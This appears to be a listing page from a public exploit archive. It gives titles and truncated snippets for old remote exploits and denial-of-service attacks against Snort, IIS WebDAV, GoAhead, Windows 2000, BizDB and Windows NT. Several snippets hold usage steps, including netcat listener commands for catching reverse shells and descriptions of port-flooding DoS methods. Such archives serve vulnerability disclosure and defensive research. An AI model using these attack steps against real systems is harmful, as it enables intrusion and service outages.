Snort <=1.9.1 Remote Root Exploit (p7snort191.sh)

No description provided by source. !/bin/sh p7snort191.sh by truff [email protected] Snort 1.9.1 and below remote exploit Tested on Slackware 8.0 with Snort 1.9.1 from sources Usage: 1/ Launch a listening netcat to listen for the shell nc -p 45295 -l 2/ p7snort119.sh yourIP RetAddr Where yourIP i...

Snort 1.9.1 - 'p7snort191.sh' Remote Command Execution

!/bin/sh p7snort191.sh by truff [email protected] Snort 1.9.1 and below remote exploit Tested on Slackware 8.0 with Snort 1.9.1 from sources Usage: 1/ Launch a listening netcat to listen for the shell nc -p 45295 -l 2/ p7snort119.sh yourIP RetAddr Where yourIP is the IP where the netcat is...

MS Windows WebDAV (ntdll.dll) Remote Exploit

Exploit for unknown platform in category remote exploits ============================================ MS Windows WebDAV ntdll.dll Remote Exploit ============================================ // / Crpt ntdll.dll exploit trough WebDAV by kralor Crpt / /...

Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow

// / Crpt ntdll.dll exploit trough WebDAV by kralor Crpt / / --------------------------------------------------------------- / / this is the exploit for ntdll.dll through WebDAV. / / run a netcat ex: nc -L -vv -p 666 / / wb server.com yourip 666 0 / / the shellcode is a reverse remote shell / / y...

GoAhead Web Server 2.1.x - URL Encoded Slash Directory Traversal

GoAhead Web Server 2.1.x - URL Encoded Slash Directory Traversal source: https://www.securityfocus.com/bid/5197/info A vulnerability has been reported for GoAhead WebServer 2.1. Reportedly, it is possible to launch directory traversal attacks against GoAhead WebServer. It is possible for remote...

Possible DoS to hosts running Veritas Netbackup

Possible DoS for hosts running Veritas Netbackup Client Tested OS: solaris 7 Netbackup Version: NetBackup-Solaris2.6 3.2GA Cause a remote host running Veritas Netbackup client to fully utilize it's cpus. Here's the DoS. Run multiple nc netcat commands using a full range of ports from some remote...

Apple Mac DoS

I have noticed some unusual behaviour with Mac OS 9 I am not a Mac user so I apologize if this is a known bug I have checked the archives and generally on the Net and can find no mention of this effect any way a bit of background... I was nmaping a mac running os 9 to see if I could diagnose why ...

Microsoft Windows Server 2000 - Telnet Server Denial of Service

Microsoft Windows Server 2000 - Telnet Server Denial of Service source: https://www.securityfocus.com/bid/1414/info Microsoft Windows 2000 Server comes with a telnet server to provide remote console access. A remote attacker can send a stream of binary zeros to the server, causing it to fail. If...

Microsoft Windows Server 2000 - Remote CPU-overload

Microsoft Windows Server 2000 - Remote CPU-overload source: https://www.securityfocus.com/bid/1415/info Sending a stream of binary zeros to any one of a number of Windows 2000 ports can cause 100% CPU utilization. The ports that were found vulnerable include TCP ports 7, 9, 21, 23, 7778 and UDP...

Microsoft Windows Server 2000 - Remote CPU-overload

source: https://www.securityfocus.com/bid/1415/info Sending a stream of binary zeros to any one of a number of Windows 2000 ports can cause 100% CPU utilization. The ports that were found vulnerable include TCP ports 7, 9, 21, 23, 7778 and UDP ports 53, 67, 68, 135, 137, 500, 1812, 1813, 2535,...

Microsoft Windows Server 2000 - Telnet Server Denial of Service

source: https://www.securityfocus.com/bid/1414/info Microsoft Windows 2000 Server comes with a telnet server to provide remote console access. A remote attacker can send a stream of binary zeros to the server, causing it to fail. If automatic restart is enabled, numerous attacks will cause the...

CNC Technology BizDB 1.0 - 'bizdb-search.cgi' Remote Command Execution

source: https://www.securityfocus.com/bid/1104/info BizDB is a web databse integration product using perl CGI scripts. One of the scripts, bizdb-search.cgi, passes a variable's contents to an unchecked open call and can therefore be made to execute commands at the privilege level of the webserver...

Microsoft Windows NT 4.0/SP1/SP2/SP3/SP4/SP5 - RASMAN Privilege Escalation

source: https://www.securityfocus.com/bid/645/info Any authenticated NT user ie domain user can modify the pathname for the RASMAN binary in the Registry. The next time the RAS Service is started, the trojan service referenced by the RASMAN pathname will be executed with system privileges. This...

retina.vs.iis4-round2-the.exploit.txt

http://www.eeye.com/database/advisories/ad06081999/ad06081999-exploit.html Retina vs. IIS4, Round 2 - The Exploit We contemplated releasing this exploit and decided to do it. Here Is Why. We are a full disclosure security team, and we were not working under any non disclosure agreements with...

qwcrash.pl

Date: Wed, 4 Nov 1998 16:30:18 +0100 From: Paul Boehm To: [email protected] Subject: quakeworld/win32 DoS the output of the attached perl script, when piped through netcat, crashes quakeworld for win32. As i don't have any win32 debuging tools and the problem doesn't occur under linux i can't...